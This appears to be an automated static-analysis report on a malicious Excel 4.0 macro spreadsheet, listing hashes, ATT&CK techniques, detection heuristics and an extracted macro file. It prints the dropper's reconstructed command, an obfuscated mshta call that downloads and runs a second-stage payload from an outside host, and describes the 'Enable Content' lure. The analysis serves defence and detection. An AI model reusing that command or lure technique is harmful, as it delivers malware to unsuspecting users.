Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 b0616802122c1e56…

MALICIOUS

Office (OLE) / .XLS

64.8 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 9283a52ac55a80e7f97d6b06b18ffca3 SHA-1: 44f46281329fa7889fd627845381197ee76a21a8 SHA-256: b0616802122c1e569fef9a028408f8c260da03f8523dc1439a02fc6586ecd712
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command reconstructs to 'cmd /c msh^t^a http://0xc12a24f5/cc.html', indicating it will download a second-stage payload from the specified URL. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common lure to bypass macro security. The obfuscation in the command string is minimal and easily reconstructible.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes